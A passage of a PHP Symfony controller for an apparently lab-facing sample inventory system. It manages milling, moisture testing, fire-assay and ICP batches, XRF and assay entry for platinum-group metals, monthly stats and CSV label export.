  735. $newparcel->setWaybill($info["waybill"]);
  736. $newparcel->setSender($info["sender"]);
  737. $newparcel->setComment($info["comment"]);
  738. $info = $info["info"];
  739. //$newparcel->setData($info);
  740. $newparcel->setDataarray($info);
  741. $newparcel->setDateadded(new \DateTime());
  742. $newparcel->setAccepted(false);
  743. $this->em->persist($newparcel);
  744. $this->em->flush();
  745. return new Response("/");
  746. }
  747. $usercountry = ($this->getUser()->getCountry() ? $this->getUser()->getCountry() : []);
  748. $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  749. 'country' => $usercountry
  750. ],[
  751. 'id' => 'DESC'
  752. ]);
  753. $samples2=[];
  754. if (in_array("WC",$usercountry)){
  755. $samples2 = $this->em
  756. ->createQuery(
  757. "SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
  758. )
  759. ->getResult();
  760. }
  761. //dump($samples2);
  762. $samples = array_merge($samples,$samples2);
  763. return $this->render('cats/addclientorder.html.twig', [
  764. 'samples' => $samples,
  765. ]);
  766. }
  767. //=====================================================================================================================================================================================<
  768. /**
  769. * @IsGranted("ROLE_USER")
  770. * @Route("/stats/{id}", name="stats")
  771. * @param int $id
  772. * @param Request $request
  773. * @return Response $response
  774. */
  775. public function stats(int $id, Request $request)
  776. {
  777. $usercountry = $this->getUser()->getCountry();
  778. $messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
  779. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  780. 'id' => $id
  781. ]);
  782. // $qb instanceof QueryBuilder
  783. $qb = $this->em->createQueryBuilder();
  784. $qb->select('count(t.id)');
  785. $qb->from(Inventory::class, 't');
  786. $qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  787. // $qb->where('t.dateFinished > 2020-09-18');
  788. $qb->setMaxResults('1');
  789. $result = $qb->getQuery()->getSingleScalarResult();
  790. //dump($result);
  791. $qb1 = $this->em->createQueryBuilder();
  792. $qb1->select('t');
  793. $qb1->from(FABatch::class, 't');
  794. $qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  795. $anotherresult = $qb1->getQuery()->getResult();
  796. $anotherresult = !$anotherresult ? $anotherresult = [1] : $anotherresult;
  797. $loginfo= [];
  798. $loginfo2= [];
  799. $tasks= [];
  800. $batchesdaily = [];
  801. $batchesdaily2 = [];
  802. $anotherresult2 = 0;
  803. $anotherresult4 = 0;
  804. foreach ($anotherresult as $x){
  805. array_push($loginfo, $x->getDateFinished()->format('j'));
  806. $sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
  807. $stmt = $this->em->getConnection()->prepare($sql);
  808. $anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
  809. $batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
  810. //dump($anotherresult2);
  811. }
  812. $qb3 = $this->em->createQueryBuilder();
  813. $qb3->select('t');
  814. $qb3->from(ICPBatch::class, 't');
  815. $qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  816. $anotherresult3 = $qb3->getQuery()->getResult();
  817. $anotherresult3 = !$anotherresult3 ? $anotherresult3 = [1] : $anotherresult3;
  818. foreach ($anotherresult3 as $x){
  819. array_push($loginfo2, $x->getDate()->format('j'));
  820. $sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
  821. $stmt = $this->em->getConnection()->prepare($sql);
  822. $anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
  823. $batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
  824. //dump($anotherresult2);
  825. }
  826. return $this->render('cats/stats.html.twig', [
  827. 'messages' => $messages,
  828. 'bonuses' => $bonuses,
  829. 'data' => $result,
  830. 'data23' => $anotherresult,
  831. 'loginfo' => $loginfo,
  832. 'batchesdaily' => $batchesdaily,
  833. 'test2' => $anotherresult2,
  834. 'icp' => $anotherresult3,
  835. 'icp2' => $batchesdaily2,
  836. 'tasks' => $tasks
  837. ]);
  838. }
  839. //=====================================================================================================================================================================================<
  840. /**
  841. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  842. * @param Request $request
  843. * @Route("/mill", name="mill")
  844. * @return Response $response
  845. */
  846. public function mill(Request $request)
  847. {
  848. $loginfo= [];
  849. if ( $request->isMethod("post") ) {
  850. if (null !== $request->get('markmilled')){
  851. $info = $request->get('ids');
  852. if(!empty($info)){
  853. foreach($info as $j) {
  854. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  855. $entry->setMillStatus('Milled');
  856. $entry->setDateMilled(new \DateTime());
  857. $this->em->persist($entry);
  858. array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
  859. }
  860. $log = new Log();
  861. $log->setDate(new \DateTime());
  862. $log->setType('Mill Status');
  863. $log->setText('Sample mill status was updated to Milled');
  864. $log->setAssignedUser($this->getUser());
  865. $log->setText2(implode(", ", $loginfo));
  866. $this->em->persist($log);
  867. $this->em->flush();
  868. }
  869. }
  870. if (null !== $request->get('revert')){
  871. $info = $request->get('ids');
  872. if(!empty($info)){
  873. foreach($info as $j) {
  874. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  875. $entry->setMillStatus('Original');
  876. $entry->setDateMilled(null);
  877. $this->em->persist($entry);
  878. array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
  879. }
  880. $log = new Log();
  881. $log->setDate(new \DateTime());
  882. $log->setType('Mill Status');
  883. $log->setText('Sample mill status reverted to Original');
  884. $log->setAssignedUser($this->getUser());
  885. $log->setText2(implode(", ", $loginfo));
  886. $this->em->persist($log);
  887. $this->em->flush();
  888. }
  889. }
  890. }
  891. $millinv = $this->getDoctrine()->getRepository(Inventory::class)->findby(['millStatus' => 'To Mill'], ['priority' => 'ASC', 'id' => 'DESC']);
  892. return $this->render('cats/mill.html.twig', [
  893. 'inventory' => $millinv
  894. ]);
  895. }
  896. //=====================================================================================================================================================================================<
  897. /**
  898. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  899. * @param Request $request
  900. * @Route("/fassayreg/disqbatches", name="disqbatches")
  901. * @return Response $response
  902. */
  903. public function disqbatches(Request $request)
  904. {
  905. $disqbatches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy(
  906. ['status' => ["finished",null,]],['id'=>'DESC'],50
  907. );
  908. return $this->render('cats/disqbatches.html.twig', [
  909. 'batches' => $disqbatches
  910. ]);
  911. }
  912. //=====================================================================================================================================================================================<
  913. /**
  914. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  915. * @param Request $request
  916. * @Route("/icp/icpbatches", name="icpbatches")
  917. * @return Response $response
  918. */
  919. public function icpbatches(Request $request)
  920. {
  921. $icpbatches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy(
  922. ['status' => null],['id' => 'DESC'],
  923. 50
  924. );
  925. return $this->render('cats/icpbatches.html.twig', [
  926. 'batches' => $icpbatches
  927. ]);
  928. }
  929. //=====================================================================================================================================================================================<
  930. /**
  931. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  932. * @param Request $request
  933. * @Route("/fassayreg/fabatches", name="fabatches")
  934. * @return Response $response
  935. */
  936. public function fabatches(Request $request)
  937. {
  938. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findBy(
  939. ['status' => [null,'finished']],['id' => 'DESC']
  940. );
  941. return $this->render('cats/fabatches.html.twig', [
  942. 'fabatches' => $fabatches
  943. ]);
  944. }
  945. /**
  946. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  947. * @Route("/fassayreg/au-batches", name="au-batches")
  948. * @return Response $response
  949. */
  950. public function auBatches(AuBatchManager $auBatchManager): Response
  951. {
  952. return $this->render(
  953. 'cats/au-batches.html.twig',
  954. ['batches' => $auBatchManager->getList(), 'details' => $auBatchManager->getDetails()]
  955. );
  956. }
  957. //=====================================================================================================================================================================================<
  958. /**
  959. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  960. * @param Request $request
  961. * @Route("/inv", name="visitorinventory")
  962. * @return Response $response
  963. */
  964. public function visitorinventory(Request $request)
  965. {
  966. return $this->render('cats/visitinv.html.twig');
  967. }
  968. //=====================================================================================================================================================================================<
  969. /**
  970. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  971. * @param Request $request
  972. * @Route("/inventory", name="inventory")
  973. * @return Response $response
  974. */
  975. public function inventory(Request $request)
  976. {
  977. if ( $request->isMethod("post") ) {
  978. $loginfo= [];
  979. if (null !== $request->get('edit')){
  980. $info = $request->get('ids');
  981. //dump($request);
  982. $editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  983. 'id' => $info
  984. ]);
  985. return $this->render('cats/edit.html.twig', [
  986. 'inventory' => $editinv
  987. ]);
  988. }
  989. if (null !== $request->get('startanalysis')){
  990. $info = $request->get('ids');
  991. /** @var Inventory $dumby */
  992. if(!empty($info)) {
  993. foreach ($info as $j) {
  994. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  995. if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
  996. $dumby->setAnalysisStatus('None');
  997. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
  998. } elseif (($dumby->getAnalysisStatus() != 'Completed')) {
  999. $dumby->setAnalysisStatus('To Start');
  1000. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1001. } elseif (($dumby->getAnalysisStatus() == 'Completed')) {
  1002. $dumby->setAnalysisStatus('In Progress');
  1003. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1004. }
  1005. $log = new Log();
  1006. $log->setDate(new \DateTime());
  1007. $log->setType('Analysis Status');
  1008. $log->setText('Analysis status manually altered for samples');
  1009. $log->setAssignedUser($this->getUser());
  1010. $log->setText2(implode(", ", $loginfo));
  1011. $this->em->persist($log);
  1012. $this->em->persist($dumby);
  1013. }
  1014. }
  1015. $this->em->flush();
  1016. return $this->redirect($this->generateUrl('inventory'));
  1017. }
  1018. if (null !== $request->get('editconfirm')){
  1019. $info = $request->get('entry');
  1020. foreach($info as $j) {
  1021. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1022. //dump($entry);
  1023. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
  1024. $entry->setSampleType($j['type'])
  1025. ->setSampleSubtype($j['subtype'])
  1026. ->setSampleName($j['name']);
  1027. $entry->setCountry($j['country']);
  1028. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1029. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1030. }
  1031. if ((float)str_replace(",",".",$j['metalweight']) > 0) {
  1032. $entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
  1033. }
  1034. $entry->setExportno($j['export']);
  1035. $this->em->persist($entry);
  1036. }
  1037. $log = new Log();
  1038. $log->setDate(new \DateTime());
  1039. $log->setType('Sample Info');
  1040. $log->setText('Sample information was edited');
  1041. $log->setAssignedUser($this->getUser());
  1042. $log->setText2(implode(", ", $loginfo));
  1043. $this->em->persist($log);
  1044. $this->em->flush();
  1045. return $this->redirect($this->generateUrl('inventory'));
  1046. }
  1047. if (null !== $request->get('manualicp')){
  1048. $info = $request->get('ids');
  1049. //dump($request);
  1050. $micp = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1051. 'id' => $info
  1052. ]);
  1053. return $this->render('cats/micp.html.twig', [
  1054. 'inventory' => $micp
  1055. ]);
  1056. }
  1057. if (null !== $request->get('manualicpconfirm')){
  1058. $info = $request->get('entry');
  1059. if(in_array('ROLE_SUPER',$this->getUser()->getRoles())){
  1060. foreach($info as $j) {
  1061. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1062. //dump($entry);
  1063. /** @var Inventory $entry */
  1064. $entry->setIcppt((int)$j['pt'])
  1065. ->setIcppd((int)$j['pd'])
  1066. ->setIcprh((int)$j['rh'])
  1067. ->setDateFinished(new \DateTime())
  1068. ->setAnalysisStatus('Completed');
  1069. $this->em->persist($entry);
  1070. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
  1071. }
  1072. $log = new Log();
  1073. $log->setDate(new \DateTime());
  1074. $log->setType('Assay Info');
  1075. $log->setText('Assay information was manually added');
  1076. $log->setAssignedUser($this->getUser());
  1077. $log->setText2(implode(", ", $loginfo));
  1078. $this->em->persist($log);
  1079. $this->em->flush();
  1080. }
  1081. return $this->redirect($this->generateUrl('inventory'));
  1082. }
  1083. if (null !== $request->get('addtoorder')){
  1084. $info = $request->get('entry');
  1085. //dump($info);
  1086. return $this->redirect($this->generateUrl('inventory'));
  1087. }
  1088. if (null !== $request->get('xrf')){
  1089. $info = $request->get('ids');
  1090. //dump($request);
  1091. $xrfinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1092. 'id' => $info
  1093. ]);
  1094. return $this->render('cats/xrf.html.twig', [
  1095. 'inventory' => $xrfinv
  1096. ]);
  1097. }
  1098. if (null !== $request->get('xrfconfirm')){
  1099. $info = $request->get('entry');
  1100. foreach($info as $j) {
  1101. /** @var Inventory $entry */
  1102. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1103. //dump($entry);
  1104. $entry->setXrfpt($j['pt'] != 0 ? round((float)$j['pt'],0) : 0)->setXrfpd($j['pd'] != 0 ? round((float)$j['pd'],0) : 0)->setXrfrh($j['rh'] != 0 ? round((float)$j['rh'],0) : 0)->setXrfStatus('Added');
  1105. $this->em->persist($entry);
  1106. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
  1107. }
  1108. $log = new Log();
  1109. $log->setDate(new \DateTime());
  1110. $log->setType('XRF Info');
  1111. $log->setText('XRF information was manually added');
  1112. $log->setAssignedUser($this->getUser());
  1113. $log->setText2(implode(", ", $loginfo));
  1114. $this->em->persist($log);
  1115. $this->em->flush();
  1116. return $this->redirect($this->generateUrl('inventory'));
  1117. }
  1118. if (null !== $request->get('mill')){
  1119. $info = $request->get('ids');
  1120. //dump($request);
  1121. /** @var Inventory $dumby */
  1122. if(!empty($info)) {
  1123. foreach ($info as $j) {
  1124. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1125. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
  1126. $dumby->setMillStatus('To Mill');
  1127. $this->em->persist($dumby);
  1128. }
  1129. }
  1130. $log = new Log();
  1131. $log->setDate(new \DateTime());
  1132. $log->setType('Mill Status');
  1133. $log->setText('Sample mill status changed to To Mill');
  1134. $log->setAssignedUser($this->getUser());
  1135. $log->setText2(implode(", ", $loginfo));
  1136. $this->em->persist($log);
  1137. $this->em->flush();
  1138. return $this->redirect($this->generateUrl('inventory'));
  1139. }
  1140. //=======================================================================================
  1141. if (null !== $request->get('moist')){
  1142. $info = $request->get('ids');
  1143. /** @var Inventory $dumby */
  1144. if(!empty($info)) {
  1145. foreach ($info as $j) {
  1146. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1147. if(count($dumby->getMoists()) == NULL) {
  1148. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
  1149. $newmoists1 = new Moists();
  1150. $newmoists1->setMoistsref($dumby->getId() . "-M1");
  1151. $newmoists1->setAssignedSample($dumby);
  1152. $newmoists1->setStatus('To Do');
  1153. $newmoists1->setCounts(true);
  1154. $this->em->persist($newmoists1);
  1155. $newmoists2 = new Moists();
  1156. $newmoists2->setMoistsref($dumby->getId() . "-M2");
  1157. $newmoists2->setAssignedSample($dumby);
  1158. $newmoists2->setStatus('To Do');
  1159. $newmoists2->setCounts(true);
  1160. $this->em->persist($newmoists2);
  1161. $dumby->setMoistStatus("In Progress");
  1162. } elseif(count($dumby->getMoists()) == 2) {
  1163. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1164. $newmoists3 = new Moists();
  1165. $newmoists3->setMoistsref($dumby->getId() . "-M3");
  1166. $newmoists3->setAssignedSample($dumby);
  1167. $newmoists3->setStatus('To Do');
  1168. $newmoists3->setCounts(true);
  1169. $this->em->persist($newmoists3);
  1170. $dumby->setMoistStatus("In Progress");
  1171. } elseif(count($dumby->getMoists()) == 3) {
  1172. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1173. $newmoists4 = new Moists();
  1174. $newmoists4->setMoistsref($dumby->getId() . "-M4");
  1175. $newmoists4->setAssignedSample($dumby);
  1176. $newmoists4->setStatus('To Do');
  1177. $newmoists4->setCounts(true);
  1178. $this->em->persist($newmoists4);
  1179. $dumby->setMoistStatus("In Progress");
  1180. } elseif(count($dumby->getMoists()) == 4) {
  1181. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1182. $newmoists5 = new Moists();
  1183. $newmoists5->setMoistsref($dumby->getId() . "-M5");
  1184. $newmoists5->setAssignedSample($dumby);
  1185. $newmoists5->setStatus('To Do');
  1186. $newmoists5->setCounts(true);
  1187. $this->em->persist($newmoists5);
  1188. $dumby->setMoistStatus("In Progress");
  1189. } elseif(count($dumby->getMoists()) == 1) {
  1190. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1191. foreach ($dumby->getMoists() as $i){
  1192. /** @var Moists $moist */
  1193. $moist = $this->getDoctrine()->getRepository(Moists::class)->find($i);
  1194. if (substr($moist->getMoistsref(),-1) == "M"){
  1195. $moist->setMoistsref($dumby->getId() . "-M1");
  1196. $moist->setStatus("Reverted for 2nd");
  1197. }
  1198. }
  1199. $newmoists2 = new Moists();
  1200. $newmoists2->setMoistsref($dumby->getId() . "-M2");
  1201. $newmoists2->setAssignedSample($dumby);
  1202. $newmoists2->setStatus('To Do');
  1203. $newmoists2->setCounts(true);
  1204. $this->em->persist($newmoists2);
  1205. $dumby->setMoistStatus("In Progress");
  1206. }
  1207. }
  1208. $log = new Log();
  1209. $log->setDate(new \DateTime());
  1210. $log->setType('Moisture Info');
  1211. $log->setText('Sample were put up for Moisture testing');
  1212. $log->setAssignedUser($this->getUser());
  1213. $log->setText2(implode(", ", $loginfo));
  1214. $this->em->persist($log);
  1215. $this->em->flush();
  1216. }
  1217. return $this->redirect($this->generateUrl('inventory'));
  1218. }
  1219. if (null !== $request->get('moistrevert')){
  1220. $info = $request->get('ids');
  1221. /** @var Inventory $inv */
  1222. if(!empty($info)){
  1223. foreach ($info as $j){
  1224. $inv = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1225. if ($inv->getMoistStatus() == "Archived" or $inv->getMoistStatus() == null){
  1226. $inv->setMoistStatus("Reverted");
  1227. foreach ($inv->getMoists() as $i){
  1228. /** @var Moists $i*/
  1229. $i->setStatus('Reverted');
  1230. $this->em->persist($i);
  1231. }
  1232. }
  1233. $this->em->persist($inv);
  1234. }
  1235. $this->em->flush();
  1236. }
  1237. }
  1238. }
  1239. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1240. return $this->render('cats/catinventory.html.twig', [
  1241. 'orders' => $orders
  1242. ]);
  1243. }
  1244. /**
  1245. * @Route("/cat/labelCsv", name="cat_labelCsv")
  1246. * @param Request $request
  1247. * @return StreamedResponse
  1248. */
  1249. public function catLabelCsv(Request $request): StreamedResponse
  1250. {
  1251. $samples = $request->get('samples');
  1252. $labels = [];
  1253. foreach ($samples as $sampleId) {
  1254. /** @var Inventory $sample */
  1255. $sample = $this->getDoctrine()->getRepository(Inventory::class)->find($sampleId);
  1256. if ($sample) {
  1257. $labels[] = [
  1258. $sample->getId(),
  1259. $sample->getSampleName() ?? ''
  1260. ];
  1261. }
  1262. }
  1263. $response = new StreamedResponse(function() use ($labels) {
  1264. $handle = fopen('php://output', 'w+');
  1265. // Add the header of the CSV file
  1266. fputcsv($handle, ['ID', 'Sample Reference']);
  1267. foreach ($labels as $label) {
  1268. fputcsv($handle, $label);
  1269. }
  1270. fclose($handle);
  1271. });
  1272. $response->headers->set('Content-Type', 'text/csv');
  1273. $response->headers->set('Content-Disposition', 'attachment; filename="cat_labels.csv"');
  1274. return $response;
  1275. }
  1276. //=====================================================================================================================================================================================<
  1277. /**
  1278. * @Security("is_granted('ROLE_ADMINISTRATORIUS')")
  1279. * @param Request $request
  1280. * @Route("/adminventory", name="adminventory")
  1281. * @return Response $response
  1282. */
  1283. public function adminventory(Request $request)
  1284. {
  1285. if ( $request->isMethod("post") ) {
  1286. $loginfo= [];
  1287. if (null !== $request->get('edit')){
  1288. $info = $request->get('ids');
  1289. //dump($request);
  1290. $editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1291. 'id' => $info
  1292. ]);
  1293. return $this->render('cats/edit.html.twig', [
  1294. 'inventory' => $editinv
  1295. ]);
  1296. }
  1297. if (null !== $request->get('startanalysis')){
  1298. $info = $request->get('ids');
  1299. /** @var Inventory $dumby */
  1300. if(!empty($info)) {
  1301. foreach ($info as $j) {
  1302. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1303. if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
  1304. $dumby->setAnalysisStatus('None');
  1305. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
  1306. } elseif (($dumby->getAnalysisStatus() != 'Completed')) {
  1307. $dumby->setAnalysisStatus('To Start');
  1308. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1309. } elseif (($dumby->getAnalysisStatus() == 'Completed')) {
  1310. $dumby->setAnalysisStatus('In Progress');
  1311. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1312. }
  1313. $log = new Log();
  1314. $log->setDate(new \DateTime());
  1315. $log->setType('Analysis Status');
  1316. $log->setText('Analysis status manually altered for samples');
  1317. $log->setAssignedUser($this->getUser());
  1318. $log->setText2(implode(", ", $loginfo));
  1319. $this->em->persist($log);
  1320. $this->em->persist($dumby);
  1321. }
  1322. }
  1323. $this->em->flush();
  1324. return $this->redirect($this->generateUrl('inventory'));
  1325. }
  1326. if (null !== $request->get('editconfirm')){
  1327. $info = $request->get('entry');
  1328. foreach($info as $j) {
  1329. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1330. //dump($entry);
  1331. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
  1332. $entry->setSampleType($j['type'])
  1333. ->setSampleSubtype($j['subtype'])
  1334. ->setSampleName($j['name']);
  1335. $entry->setCountry($j['country']);
  1336. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1337. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1338. }
  1339. $entry->setExportno($j['export']);
  1340. $this->em->persist($entry);
  1341. }
  1342. $log = new Log();
  1343. $log->setDate(new \DateTime());
  1344. $log->setType('Sample Info');
  1345. $log->setText('Sample information was edited');
  1346. $log->setAssignedUser($this->getUser());
  1347. $log->setText2(implode(", ", $loginfo));
  1348. $this->em->persist($log);
  1349. $this->em->flush();
  1350. return $this->redirect($this->generateUrl('inventory'));
  1351. }
  1352. if (null !== $request->get('addtoorder')){
  1353. $info = $request->get('entry');
  1354. //dump($info);
  1355. return $this->redirect($this->generateUrl('inventory'));
  1356. }
  1357. }
  1358. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1359. return $this->render('cats/catadminventory.html.twig', [
  1360. 'orders' => $orders
  1361. ]);
  1362. }
  1363. //=====================================================================================================================================================================================<
  1364. /**
  1365. * @Route("/getinv", name="getinv")
  1366. */
  1367. public function ajaxgetinv()
  1368. {
  1369. $response = new Response();
  1370. $list=[];
  1371. $inventory = $this->getDoctrine()->getRepository(Inventory::class)->findBy([],[
  1372. 'id' => "DESC"
  1373. ]);
  1374. $qb = $this->em->createQuery('SELECT r, s.analysisStatus FROM App\Entity\RRun r INNER JOIN r.assignedSample s WHERE r.id = :id')->setParameter('id',3000);
  1375. //dump($qb->getOneOrNullResult());
  1376. //foreach($inventory as $j){
  1377. // $list[] = $j->getInfo();
  1378. //}
  1379. $response->setContent(json_encode([
  1380. 'data' => $list,
  1381. ]));
  1382. $response->headers->set('Content-Type', 'application/json');
  1383. return $response;
  1384. }
  1385. //=====================================================================================================================================================================================<
  1386. // /**
  1387. // * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1388. // * @Route("/moists", name="moists")
  1389. // * @param Request $request
  1390. // * @return Response $response
  1391. // */
  1392. // public function moists(Request $request)
  1393. // {
  1394. // $moists = $this->getDoctrine()->getRepository(Moists::class)->findBy([
  1395. // 'status' => ['To Do', 'Calculated 1', 'Calculated 2', 'Reverted']
  1396. // ]);
  1397. // return $this->render('cats/moists.html.twig',[
  1398. // 'inventory' => $moists
  1399. // ]);
  1400. // }
  1401. //=====================================================================================================================================================================================<
  1402. /**
  1403. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1404. * @Route("/moistsresult", name="moistsresult")
  1405. * @param Request $request
  1406. * @return Response $response
  1407. */
  1408. public function moistsresult(Request $request)
  1409. {
  1410. return $this->render('cats/moistsresult.html.twig',[]);
  1411. }
  1412. //=====================================================================================================================================================================================<
  1413. /**
  1414. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1415. * @Route("/moists2", name="moists2")
  1416. * @param Request $request
  1417. * @return Response $response
  1418. */
  1419. public function moists2(Request $request)
  1420. {
  1421. return $this->render('cats/moists2.html.twig',[]);
  1422. }
  1423. //=====================================================================================================================================================================================<
  1424. /**
  1425. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1426. * @Route("/moistarchived", name="moistsarchived")
  1427. * @param Request $request
  1428. * @return Response $response
  1429. */
  1430. public function moistsarchive(Request $request)
  1431. {
  1432. return $this->render('cats/moistsarchive.html.twig',[]);
  1433. }
  1434. //=====================================================================================================================================================================================<
  1435. /**
  1436. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1437. * @Route("/fassayprelim", name="fassayprelim")
  1438. * @param Request $request
  1439. * @return Response $response
  1440. */
  1441. public function fassayprelim(Request $request){
  1442. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
  1443. // $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1444. // 'status' => ['Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated']
  1445. // ]);
  1446. /* @var QueryBuilder $qb */
  1447. $qb = $this->em->createQueryBuilder();
  1448. $qb->select('a,b,c');
  1449. $qb->from(PRun::class, 'a');
  1450. $qb->leftJoin('a.assignedSample', 'b');
  1451. $qb->leftJoin('b.assignedOrder', 'c');
  1452. $qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated')");
  1453. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1454. $qb->andWhere('c.WNJ = TRUE');
  1455. }
  1456. $prelims=$qb->getQuery()->getResult();
  1457. $data = $request->request->all();
  1458. if ( $request->isMethod("post") ) {
  1459. if (null !== $request->get('newfabatch')) {
  1460. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1461. $info2 = $data['chkids'];
  1462. $newbatch = new FABatch();
  1463. $newbatch->setDate(new \DateTime());
  1464. $this->em->persist($newbatch);
  1465. foreach ($info2 as $j) {
  1466. $icprundummy = $this->getDoctrine()->getRepository(PRun::class)->findOneBy([
  1467. 'id' => $j
  1468. ]);
  1469. $icprundummy->setAssignedFABatch($newbatch);
  1470. $this->em->persist($icprundummy);
  1471. }
  1472. $this->em->flush();
  1473. return $this->redirect($this->generateUrl('fassayprelim'));
  1474. }
  1475. }
  1476. }
  1477. return $this->render('cats/fassayprelim.html.twig',[
  1478. 'pruns' => $prelims,
  1479. 'fabatches' => $fabatches
  1480. ]);
  1481. }
  1482. //=====================================================================================================================================================================================<
  1483. /**
  1484. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
